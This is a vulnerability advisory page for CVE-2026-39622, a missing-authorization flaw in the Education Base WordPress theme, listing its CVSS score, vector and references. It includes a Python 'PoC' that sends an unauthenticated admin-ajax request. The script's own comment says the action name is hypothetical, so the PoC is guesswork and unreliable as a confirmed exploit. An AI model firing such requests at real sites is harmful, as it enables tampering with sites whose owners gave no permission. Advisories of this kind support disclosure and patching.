CVE-2026-39622

Description

Missing Authorization vulnerability in acmethemes Education Base education-base allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Education Base: from n/a through <= 3.0.8.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Education Base <= 3.0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    Exploit Missing Authorization vulnerability in Education Base Theme.
    This script sends an unauthenticated request to a vulnerable endpoint.
    """
    # WordPress AJAX endpoint
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"

    # Example payload targeting a vulnerable action
    # The specific action name depends on the theme's vulnerable code
    payload = {
        "action": "education_base_import_dummy_data",  # Hypothetical action name
        "security": ""  # Often empty or bypassed in IDOR cases
    }

    try:
        response = requests.post(ajax_url, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if integrity was compromised.")
            print(f"Response: {response.text[:200]}")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

# Usage
# exploit_missing_auth("http://example.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39622
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39622
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39622/
[4] VulDB https://vuldb.com/cve/CVE-2026-39622
[5] https://patchstack.com/database/Wordpress/Theme/education-base/vulnerability/wordpress-education-base-theme-3-0-8-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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